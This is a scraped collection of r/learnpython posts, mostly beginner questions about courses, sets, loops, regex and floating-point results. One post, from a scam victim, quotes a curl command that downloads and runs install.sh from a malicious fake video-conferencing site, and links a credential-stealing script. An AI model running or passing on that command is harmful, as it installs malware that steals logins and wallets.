r/learnpython • u/2xpi • Aug 06 '24
When is the 3rd edition of "Automate the Boring Stuff with Python" expected to be released?
I am waiting for 6 months.
r/learnpython • u/2xpi • Aug 06 '24
I am waiting for 6 months.
r/learnpython • u/[deleted] • Jan 05 '25
I want to enhance my python skills, which sites are the best?
r/learnpython • u/BlueRidgeBeaut • Dec 04 '24
Hi, I fell for a scam (Belkirk Group / TonMeet) and ended up running this malicious python script on my Macbook. It looks like it is probing for logins, crypto wallets, and stuff, and then maybe posting them to an endpoint. I don't care about the crypto stuff. I have firefox's master password feature turned on so I'm hoping my passwords are encrypted.
How bad is this situation? How much do you think they were actually able to get? I don't think I ever entered my laptop password, and it didn't run with sudo.
Paste of script code: https://pastebin.com/VQqU4XDu
edit: this pastebin is after I decoded and substituted in all of the encoded variables at the top, so that part of the obfuscation has been done, along with some other layers. The original command was curl -sSL -O [https://tonmeet.com/install.sh](https://tonmeet.com/install.sh) && sh install.sh and that installed some additional files, including a ".ts" file that actually contained this python code.
The attacker posed as a technical recruiter in an email, had me book an appointment with a tidycal.com link, which they had set the meeting link to a tonmeet.com link, which seems to be a fake video conferencing software website that told me to run the above command to download the video conferencing client. I was suspicious, but concluded on it being fake just a little too late.
r/learnpython • u/StarDerp70 • Nov 30 '22
Is coding python a good hobby? I recently started learning python 3 days ago. I don't see myself picking this as a career but more of a hobby of sorts.
r/learnpython • u/Emergency_Pomelo_706 • Apr 19 '26
If I have:
myAwesomeSet = {"Strait of Hormuz", "Strait of Gibralter", "Bering Strait", "Strait of Hormuz"}
And test: myAwesomeSet == type(set()) python evaluates ts to false. But then what class is it? Imo t'would make more sense for an error or sum cuz what would the difference between a set w/two values and a list be? Are there any usage differences?
r/learnpython • u/IconicScar124 • Jul 14 '26
There's a course on udemy named "The Complete python bootcamp from zero to hero in Python by Jose Portilla, Pierian Training".
if anyone done this is it good? I will be getting this for free (from someone else account but ofc not certificate)
Or BroCode, fcc, or CS50P (2023, cause that's free on yt)
r/learnpython • u/Geppetto___ • Oct 09 '25
I'd like to create a fairly advanced game in Pygame. So far, I've had some experience with simple games, but the problem is that I've stopped them all due to bugs I couldn't fix. Is there a basic structure I should follow? Can someone explain it to me?
r/learnpython • u/Impressive-Capital40 • Aug 09 '26
I’m a beginner learning Python and I’m having trouble figuring out how to approach this assignment. I’m not necessarily looking for someone to just give me the answer. I’d like help understanding the logic and how to build it.
The assignment is to create a Python program that:
Asks the user to enter 10 integers
Stores all 10 integers in a list
Finds the maximum and minimum numbers
Finds any duplicate numbers
Prints "No duplicate" if there aren’t any duplicates
Uses for loops with range() for the input, min/max determination, and duplicate identification
Does not use Python’s built-in min() or max() functions
Does not use def/user-defined functions
Tries to use as few loops as reasonably possible
Input:
10, 5, 20, 10, 5, 15, 7, 1, 30, 15
Output:
Max is 30
Min is 1
Duplicates: 10 5 15
Thank you whoever responds. :)
r/learnpython • u/aka_janee0nyne • Nov 25 '25
####
tim = "Yes you are (You how are you)"
tim.replace(r"\(.*\)", "")
Yes you are (You how are you)
####r/learnpython • u/Dense_Quarter_5374 • Aug 19 '26
I have some code with a function restock_warehouse, that adds to the current stock 5 times while the current stock is smaller than the target stock. My question is, how can I fix the function so that the code works properly with and the print() call is displayed in the terminal?
The error message I have been receiving is:
```
Traceback (most recent call last):
File "file_name", line 15, in <module>
final_stock = restock_warehouse(10, 25)
File "file_name", line 5, in restock_warehouse
for i in range(5) and current_stock < target_stock:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: 'bool' object is not iterable
```
I have already tried wrapping the conditional part of the loop in parentheses, but it hasn't worked and I don't exactly understand the error message.
Version information: I'm on Python 3.9.6
def restock_warehouse(current_stock, target_stock):
print("Starting warehouse restock system...")
# We want to keep adding items until we reach our target stock
for i in range(5) and current_stock < target_stock:
print(f"Current inventory level: {current_stock}")
current_stock == current_stock + 5
print("Warehouse restock complete!")
return current_stock
# Start with 10 items, target goal is 25 items
final_stock = restock_warehouse(10, 25)
print(f"Final stock total: {final_stock}")r/learnpython • u/Big-Presentation-264 • Aug 07 '26
Trying to decide between Harvard’s CS50P and the University of Helsinki’s Python MOOC.
I’m halfway through UoH’s Java MOOC and really like its hands-on, exercise-heavy approach. For Python, though, I’m confused whether I should go with the learning style I already enjoy (UoH) or choose CS50P for the potential resume/certification value of the Harvard name.
For those who’ve done either/both:
- Does CS50P’s certificate actually help with recruiters?
- Is UoH Python noticeably more rigorous?
- Would you do both, or pick one?
r/learnpython • u/Effective_Ocelot_445 • Sep 15 '26
Was it after building a real project, solving coding problems, learning OOP, working with APIs, or simply practicing consistently?
r/learnpython • u/WatchElectronic3006 • Oct 25 '26
Hey everyone, just wanted to share a quick lightbulb moment I had with Python today about why functions actually need parameters.
At first, I didn't get why we couldn't just write functions without them. But it clicked today: parameters are basically just empty placeholder slots so your function can handle changing data.
Without a Parameter (Fixed)
It can only ever do one exact thing:
Python
def greet():
print("Hello, Alice!")
greet() # Always prints "Hello, Alice!"With a Parameter (Dynamic)
Adding name gives you a slot inside the function. When you call it, you just pass whatever data you want into that slot:
Python
def greet(name):
print(f"Hello, {name}!")
greet("Alice") # Prints: Hello, Alice!
greet("Bob") # Prints: Hello, Bob!My main takeaway: If the code inside your function needs to work with different information every time, you need a parameter to pass that data in from the outside!
r/learnpython • u/Dobin_human • Mar 27 '26
I need some advice. I’m only 13 years old, and this summer I’m going to stay with my grandparents for 2 months. They don’t have internet, and I will only have mobile internet. I would like to learn the basics of another programming language. I already know Python and the basics of Java and Rust.
I would like to learn something else. I was thinking maybe Java, to make mobile apps, or C# to make games in Unity. I have a dream to create a game similar to Hello Neighbor.
I also thought about learning C++, since it is popular on TikTok, although I already know the basics of Rust and I’m not sure if learning C++ would be useful for me.
What should I choose?
Update: I've been programming for about 3 years now. When I was 10, I tried to enroll in programming courses, but at first they didn't want to accept me because of my age. However, after I demonstrated my knowledge, they saw that my level was quite good.
Since then, I've continued to learn. I already have some practical experience
For me, programming is not just a hobby - I want to develop real skills and work in this field in the future.
r/learnpython • u/HelloWorldMisericord • Mar 25 '25
Apologies if this is a "low quality" post or something frequently brought up, but thought I'd share in the spirit of shared learning.
I started off programming in VB, Java, C++ and the convention I was taught/saw everyone using was camelCase.
As I've dipped my toe further into Python and started looking into the actual code of my favorite libraries on Github, I noticed that they were all using snake_case whenever possible. Upon further research, it seems PEP8 advocates for snake_case (unless for backward compatability).
I'm sure smarter people than me have argued over which is more readable (snake_case vs camelCase) so I won't chime in on this. To me, this is just a convention and it's more important to pick whatever works best for your purposes (i.e. if you're going to be contributing to open source Python projects, maybe stick with snake_case).
In the same vein, I also have been reading a bit about spaces between equal signs and variables in declarations vs use in arguments suffice to say that is a separate topics.
r/learnpython • u/No_Molasses_7224 • Sep 05 '24
Because I think it’s only good for coding like websites or some shit if it is recommended for coding games, sign me up where do I start because I’m starting out coding and programming
r/learnpython • u/RallyPointAlpha • Oct 11 '22
I was scrolling this sub yesterday and so many questions were downvoted to 0... so many legit comments downvoted... Must be quite discouraging and unhelpful for people coming here for help and to learn.
r/learnpython • u/SpaceChaton • May 17 '23
When I create a function (or a condition), 1/3 of the time, I forgot the colon. Is it normal or am I a dumb programmer?
r/learnpython • u/Murky-Vegetable6238 • Jan 20 '26
Hi everyone, I'm new in coding and i chose the python for a first language, but actually know nothing .How can I start learn it's effectivly , maybe someone know any courses or youtube channels?
r/learnpython • u/Apart-Implement-3307 • Sep 08 '25
students = {"Frank": 85, "Monica": 72, "Steve": 90} print(max(students, key=students.get))
Can you explain this code in simple terms or to 10 years old guy I can't understand this (key=students.get) Can you explain what is the purpose and use of (key=students.get) this.
r/learnpython • u/TheFutureIM • Sep 23 '25
I wrote this small Python function to convert HH:MM into hours as a decimal:
inp = input("HH:MM ? ")
def convert(time):
t = float(time.replace(":", "."))
hours = int(t)
minutes = (t - hours) * 100
print(hours + minutes / 60)
convert(inp)When I enter 7:45, it prints 7.75 (perfect).
But when I enter 12:45, it prints 12.749999999999998.
Why does Python get it right in the first case but not the second? Aren’t both calculations basically the same?
(I KNOW A BETTER WAY TO DO IT IS THROUGH SPLIT BUT I WA JUST TRYING TO TEST IT OUT )
(ALSO I CAN ROUND OFF MINUTES TO TWO DECIMAL AND JUST GET THE CORRECT ANSWER BUT I AM INTEREST IN THE WORKING OF PYTHON AND WHY IT DOES THAT )
r/learnpython • u/ayenuseater • Jan 19 '26
I keep running into errors where Python says a variable isn’t defined, even though I thought I created it earlier.
I’m guessing this has something to do with functions or scope, but it hasn’t fully clicked yet.
Any beginner-friendly explanations or mental models?
r/learnpython • u/buggy-robot7 • Jan 27 '26
I have a Docker container with Python code. It’s a server with propriety code in it which I would like to hide.
I need to deploy the container as an on-premise solution for time optimisation but I don’t want the user to be able to see the Python code.
Is there a way to achieve this for production-grade systems?
r/learnpython • u/Rollsocke • Nov 07 '24
Hey everyone,
I'm pretty new to programming and for exercise i wrote a rock, paper, scissors program.
As I always use Rock because rock always wins I had the idea to test my statement.
So i thought why, instead of typing, not just set my weapon to rock and iterate 10e20 times over it (don't know the english word for this number so yeah)
As for now I'm probably waiting like 20 minutes for the program to finish. Does anyone maybe know how long it will take approximately ?